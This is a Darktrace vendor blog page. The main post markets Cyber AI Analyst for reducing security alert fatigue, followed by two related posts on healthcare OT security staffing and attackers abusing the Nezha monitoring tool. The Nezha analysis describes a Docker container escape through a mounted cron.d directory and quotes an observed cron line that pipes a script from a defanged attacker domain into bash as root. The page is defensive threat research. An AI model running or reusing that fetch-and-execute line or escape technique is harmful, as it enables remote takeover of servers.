Blog
/
/
November 29, 2022

How to Cut Through Cyber Security Noise

Learn how Cyber AI Analyst tackles alert fatigue by categorizing vast amounts of data into actionable security incidents for your team's review.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Dan Fein
VP, Product
Written by
Elliot Stocker
Product SME
Default blog image
29
Nov 2022

For cyber security experts, it’s hard enough staying on top of the latest threats and emerging attacks without having to deal with a virtual tsunami of alert noise from systems monitoring email, SaaS environments, and endpoints – in addition to IaaS cloud and on-premises networks. Unfortunately, fatigue from these demands can lead to overworking, burnout, and crucially, high employee turnover. 

The worldwide industry shortage of 3.5 million cyber security professionals only exacerbates the problem. Not only does it add pressure to the current stock of skilled and available security professionals, but it also raises the stakes for CISOs and other security leaders to find a way to cut through the alert noise while staying on ahead of threat actors who never stop innovating and applying novel malware strains and attack techniques.

Working Smarter Not Harder

One way to help with retention is to empower security teams to break away from monotony and to think creatively and leverage their expertise where it can really add value. Working smarter, rather than harder, is often easier said than done, but by employing automation and AI-driven tools to take on the heavy lifting of threat detection, investigation, and response, human teams can be given the breathing room needed to focus on long-term objectives and think more deeply about their security approaches.

It is important for security programs to continuously level up alongside evolving threat landscapes by questioning existing security operations, and this cannot be achieved during times of hand-to-hand alert combat.

When alerts are fewer, higher quality, and context-heavy, the background to each can be easily explored, whether that’s reevaluating a policy or configuration, or simply asking useful questions around the company’s broader security approach. Work done at this level empowers security teams and fosters growth.

Less is More

Business risk– or the potential impact of cyber disruption– should be the number one concern driving a security team, but lack of resources is a near-constant constraint. Reducing the volume of alerts doesn’t just mean bringing the noise floor up. You can think of the noise floor as an alert threshold: if it is too high then there are fewer alerts, but more threats may be missed, whereas if it is too low, there are high volumes of unhelpful false positives. Freeing up time for the team must not equate to ignoring alerts; it should instead mean focusing on the alerts that matter.

Darktrace’s technologies make this possible, with Darktrace DETECT™ and Cyber AI Analyst working together to address alert fatigue and burnout for security teams while strengthening an organizations’ overall security posture. Cyber AI Analyst essentially takes over the busy work from the human analysts and elevates a team’s overall decision making. Teams now operate at higher levels, as they’re not stuck in mundane alert management and humans are brought in only after the machine and AI have done the heavy lifting.

“Before AI Analyst, we were barely treading water with all of the alerts, most of which were false positives, our old systems produced daily. With AI Analyst, we’ve been able to exponentially reduce those alerts, harden our environment, and get strategic.”

Dr. Robert Spangler, the CISO and Assistant Executive Director of the New Jersey State Bar Association.

Figure 1: Billions of individual events are reduced into a critical incident for review


Imagine a scenario in which Darktrace observed around 9.6 billion events over a 28-day period. DETECT and Cyber AI Analyst might distill that huge amount of data down into just, say, 54 critical incidents, or just two per day. Here’s how:

9.6 billion events

When trying to understand the full picture, every single puzzle piece counts. That’s why Darktrace’s Self-Learning AI goes wherever your organization has data, integrating with data sources across the digital estate, including network, email, endpoints, OT, cloud, and SaaS environments. And with an open architecture, Darktrace facilitates quick and easy integrations with everything from SIEMs and SOARs to public clouds and the latest Zero Trust technologies. So, any data can become learnable, whether directly ingested or via integration.

By examining this full and contextualized data set, Self-Learning AI builds a constantly evolving understanding of what ‘normal’ looks like for the entire organization. Every connection, every email, app login, resource accessed, VM spun up, PLC reprogrammed, and more become signals from which Darktrace can learn, evaluate, and improve its understanding.

40,404 model breaches

The billions of events are analyzed by Darktrace DETECT, which uses its extensive knowledge of ‘normal’ to draw out hosts of subtle anomalies or ‘AI model breaches.’ Many of these AI model breaches will be weak indicators of threatening activity, and most will not be sufficient to individually signal a threat. For that reason, no human attention is required at this stage. Darktrace DETECT will continue to draw anomalous behaviors from the ongoing stream of events without the need for intervention. 

200 incidents

The Cyber AI Analyst takes the total list of model breaches collated by DETECT and performs the truly sophisticated work of determining distinct threat incidents. By piecing together anomalies which may, in themselves, appear harmless, the AI Analyst draws out subtle and often wide-ranging attacks, tracking their route from the initial compromise to the present moment. This creates a much shorter list of genuine threat incidents, but there is still no need for human attention at this stage.

54 critical incidents

Once it has discovered the threat incidents facing an organization, the Cyber AI Analyst begins the crucial processes of triage to determine which incidents need to be surfaced to the security team, and in what order of priority. This supplies the human team with a highly focused briefing of the most pressing threats, massively reducing their overall workload and minimizing or potentially eradicating alert fatigue. In the above example of a month with over 9.6 billion distinct events, the team are left with just two incidents to address per day. These two incidents are clearly presented with natural language-processing and all the most relevant info, including details, devices, and dates. 

“When we had other, noisier systems, we didn’t have the time to have truly in-depth discussions or conduct deep investigations, so there were fewer teachable moments for junior team members and fewer opportunities to inform our cybersecurity strategy as a whole,” Spangler said. “Now, we’re not just a better team, we’re more efficient, responsive, and informed than we’ve ever been. We’re all better cyber security professionals as a result.”

In the event of a breach, CISOs and security leaders want the full incident report, and they want it yesterday. The promise of AI is to handle specific tasks at a speed and scale that humans can’t. Going from 9.6 billion events to 54 incidents demonstrates the scale, but it’s important to consider the impact of speed here as well, as the Cyber AI Analyst works in real time, meaning all relevant events are presented in an easy to consume downloadable report available immediately upon investigation.

This isn’t a black box either; every step of the AI Analyst’s investigation process is visible to the human team. Not only can they see the relevant events and breaches that led to the incident, but if required, they can pivot into them easily with a click. If the investigation requires going all the way down to the metadata level to easily peruse the filtered events of the 9.6 billion overall signals or even to PCAP data, those are available and easy to find too.

Since DETECT and Cyber AI Analyst not only reduce alert fatigue but also simplify incident investigations, security teams feel empowered and experience less burnout. 

“We’ve been stable and have had minimal turnover since we started using AI Analyst,” Spangler said. “We’re not scrambling to keep up with noisy and time-consuming false positives, making the investigations that we undertake stimulating and– I say this cautiously– fun! Put simply, the thing we all love about this career, the virtual chess game we play with attackers, is a lot more fun when you know you’re going to win.”

Autonomous Response

Organizations that deploy Darktrace RESPOND™ can address the incidents raised by DETECT and the Cyber AI Analyst autonomously, and in mere seconds. Using the full context of the organization built up by Self-Learning AI, RESPOND takes the least disruptive measures necessary to disarm threats at machine speed. By the time the security team learns about the attack, it is already contained, continuing to save them from the hand-to-hand combat of threat fighting.

With day-to-day threat detection, response, and analysis taken care of, security teams are free to give full and sustained attention to their overall security posture. Neutralized threats may yet reveal broader security gaps and potential improvements which the team now has the time and headspace to pursue.

For example, discovering a trend that users are uploading potentially sensitive data via third-party file-sharing services might lead to a discussion about whether it should be company policy to block access to this service, reducing to zero the number of future alerts that would have been triggered by this behavior. Importantly, this wouldn’t be altering the aforementioned noise floor, but instead fundamentally altering security policies to align with the needs of the business, which could indirectly affect future alerting, as activities may subside.

As a result, practitioners find more value in their work, security teams efforts are optimized, and organizations are strengthened overall.

“We’re now focused on the items that AI Analyst alerts us to, which are always worth looking into because they either identify an activity that we need to get eyes on and/or provide us with insight into ways we can harden our network,” Spangler said. “The hardening that we’ve done has been incalculably beneficial– it’s one of the reasons we get fewer alerts, and it’s also protected us against a wide variety of threats.”

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Dan Fein
VP, Product
Written by
Elliot Stocker
Product SME

More in this series

No items found.

Blog

/

Network

/

June 10, 2026

How Attackers Abuse the Chinese Nezha Monitoring Tool

nezha monitoring toolDefault blog imageDefault blog image

What is Nezha?

Nezha is an open-source tool that allows system administrators to centrally monitor multiple servers, including their resource usage such as CPU and network usage, and uptime. The tool also enables remote administrative access via an interactive shell.

The project has just under 10,000 stars on GitHub and has seen widespread adoption in the Chinese IT community, with many forum posts providing guides on installation and usage.

However, Nezha’s status as a legitimate executable that has remote access capabilities creates an opportunity for misuse. Instead of deploying a regular command-and-control (C2) implant, attackers can deploy Nezha directly on compromised hosts. As these deployments are functionally indistinguishable from legitimate installations, they can blend into expected operational tooling and evade detection.

Darktrace’s analysis of a Nezha infection

Darktrace operates several high-interaction honeypots to observe attacker techniques and behaviors. Darktrace analysts observed an intrusion against the Docker-based honeypot, initiated with a malicious container create command.

 The malicious container create command.
Figure 1: The malicious container create command.

Docker allows any host file or directory to be passed through to a container, granting read and write access. In this case, the attacker made use of this to pass through the cron.d directory, which is used to schedule recurring tasks, such as maintenance or backup commands.

These commands and timings are stored in the cron.d directory, which the attacker can now write to because it is passed through to their malicious container. By writing a job to this directory from within the container, the cron service running on the host detects the new job and executes it on the host, effectively allowing the attacker to escape the container.

The attacker the created a malicious cron job named ngk:
* * * * * root curl hxxps://file.gpu5[.]com/linux_install.sh | bash

This resulted in the host downloading and running the linux_install.sh file with root privileges.

The linux_install script installs several dependencies, sets up environmental variables, and retrieves a second-stage script (nezha_install.sh) from the same domain.

The linux_install script.
Figure 2: The linux_install script.

The nezha_install.sh script based on the official Nezha installer but has been modified to hard code configuration values, such as the server address, and to remove interactive prompts, allowing it to be installed without user input.

Open by design

One of Nezha’s most interesting design choices is that its main monitoring panel does not require authentication to view a list of monitored hosts. This exposes a list of compromised systems via the attacker-controlled panel, enabling direct observation of the operation’s scale, victimology and infrastructure.

The attacker’s Nezha dashboard.
Figure 3: The attacker’s Nezha dashboard.

At the time of analysis, the campaign had infected 141 servers, with 45 still online and accessible.  The number of online servers was previously higher, suggesting that some victims may have discovered and removed the infection.

The exposed dashboard provides insights into victim characteristics, including geographic distribution, hardware specification, and resource usage. Most infected hosts were low-spec systems, commonly one or two core Xeon CPUs and less than 4GB of RAM, indicating they were likely small virtual private servers (VPS) with limited value to the attacker.

Many systems also exhibited 100% CPU usage, which may indicate concurrent compromise, such as cryptocurrency mining activity by other threat actors.

Open-source intelligence platforms such as Shodan and Censys can also identify publicly exposed instances of Nezha. Although authentication is required to execute commands on a monitored server, visibility into dashboards still provides valuable intelligence for attackers and defenders alike.

At the time of writing, Darktrace identified 33 internet-facing Nezha installations as openly accessible.

Key takeaways

The abuse of legitimate software has become a consistent feature of modern intrusion activity, enabling attackers to operate without deploying traditional malware and reducing the risk of detection.

This creates a form of “trust inversion”, where tools typically associated with routine operations may instead indicate malicious activity when deployed outside expected contexts. Organizations should therefore prioritize asset visibility and software governance, ensuring that unexpected tool deployments can be identified and investigated, rather than focusing solely on malware-centric detection.

This challenge is especially pronounced in cloud environments, where legitimate monitoring tools may represent either essential software or an attacker backdoor. The scale and dynamic nature of cloud environments further complicate distinguishing between benign and malicious use.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

Continue reading
About the author
Nathaniel Bill
Malware Research Engineer

Blog

/

OT

/

June 9, 2026

Healthcare’s OT Cybersecurity Gap: Why Hospitals Must Make the Same Security Investments as Regulated Critical Infrastructures

healthcare OTDefault blog imageDefault blog image

Rethinking the healthcare attack surface

When most people think about Operational Technology (OT) cybersecurity, they think about oil & gas pipelines, utilities, manufacturing plants, or power grids. However, hospitals & healthcare systems have quickly become a point of focus in the OT cybersecurity community as they do employ a variety of OT in the form of IoMT (Internet of Medical Things) networked devices such as: infusion pumps, imaging systems, patient monitoring equipment, laboratory systems, and traditional industrial control systems (ICS) in the form of smart building management systems (BMS) and even on site power generation control systems. 

These healthcare environments are no longer just traditional IT ecosystems, they are cyber-physical environments where disruption can directly impact patient care, operational continuity, and ultimately patient safety.

The OT cybersecurity expertise gap in healthcare organizations

Our research in the OT cybersecurity space revealed a concerning trend. Many hospitals and healthcare networks lack dedicated OT cybersecurity teams, OT security full time employees (FTE) and even OT expertise in the form of OT security certifications when compared to other critical infrastructure sectors.

On the other hand, within industries such as energy and manufacturing, we encounter more mature OT security programs that employ full time employees  dedicated to OT cybersecurity with OT security certifications and expertise to secure industrial and operational environments and lead investment in OT security processes and technology.

When reviewing the top 20 U.S. Hospitals by market cap, given what is publicly available on LinkedIn, only one FTE with an OT cybersecurity certification was found. The certifications that were searched for include: GIAC GICSP, GIAC GRID, GIAC GCIP and all ISA/IEC 62443 certifications. When replicating this same search across the top 20 utility providers in the US, 73 FTEs with OT related certifications were identified. As a control group, we looked within financial services, an industry NOT expected to have OT systems worth investing in FTEs to protect. However, the top 20 US financial institutions had 18 FTEs with OT related certifications. 

What these findings reveal

Overall, the findings regarding healthcare investment in OT security FTEs are surprising given how operationally dependent modern healthcare has become on OT. So why aren't hospitals investing in OT security personnel at the rate of peer critical infrastructures? It could just be lack of awareness; however, there are other, more plausible reasons.  

Based on historical trends in cyber incidents within the healthcare space, one could speculate that there is significantly greater likelihood of being victim to an attack that  focuses on extortion or data theft rather than an attack on specific OT systems. The amount of ransomware events incurred in healthcare, that historically do not target OT systems, may divert attention and security investment to the parts of the attack surface most likely to be targeted by ransomware. Additionally, data theft is a relevant threat objective for hospitals given PHI, PCI and PII, and data theft does not traditionally align with attacks targeting OT.  

However, with focused investment to address data theft and with adversaries new capability to string together chains of vulnerabilities of different severity scores using advancements in AI, we could be entering a threat landscape where adversaries pivot their tactics to target exposed and under protected devices and systems like OT. For example, although not a patient records database, predominant IOMT protocols HL7 and DICOM are unencrypted plaintext protocols and unless encrypted it is very simple for adversaries, who are sniffing traffic, to identify protected health information (PHI) in these communication protocols.

Why OT cybersecurity expertise can be effective for healthcare organizations

The convergence of IT, OT, and IoMT is already here, and threat actors are increasingly aware of the operational vulnerabilities that come with it. Additionally, as AI solutions such as agentic or generative applications are adopted and deployed, the attack surface will continue to change as permissions, and new connections will exist to support AI efficiency. From a cybersecurity standpoint, the reality is that many healthcare organizations are still working to establish consistent visibility and governance across their enterprise-connected devices and systems as their attack surface is changing in real time.  As the healthcare sector remains a significant target for cyber-attacks, hospitals would be well advised to begin addressing their operational environments OT as a critical component of their attack surface and invest in securing them first with people, then process and technology. 

What can healthcare organizations do to secure their OT

Including OT in current cybersecurity processes such as red teaming and testing incident response plans that take OT into account alongside building dedicated OT security capabilities including improving OT network visibility, leveraging OT network anomaly detection, micro-segmentation, and secure remote access will become essential steps in strengthening healthcare resilience. 

However, before any of the above processes or investments in technology can be made, these healthcare organizations, like the other critical infrastructure sectors, need to invest in the people with the experience in OT security to lead, implement, manage and audit the investment in OT cybersecurity technology and processes.  In cases where headcount cannot be added, investment in OT security certifications, such as the ones listed in this article, and participation on OT security events focused on practitioner training for existing cybersecurity employees can move the needle in terms of bringing OT expertise to the existing team.  

In an industry where uptime and safety are as mission critical as they are for a power utility, OT cybersecurity FTEs can no longer be viewed as optional for healthcare organizations and must become part of the foundation of modern healthcare cybersecurity strategy. 

[related-resource]

Continue reading
About the author
Daniel Simonds
Director of Operational Technology
Your data. Our AI.
Elevate your network security with Darktrace AI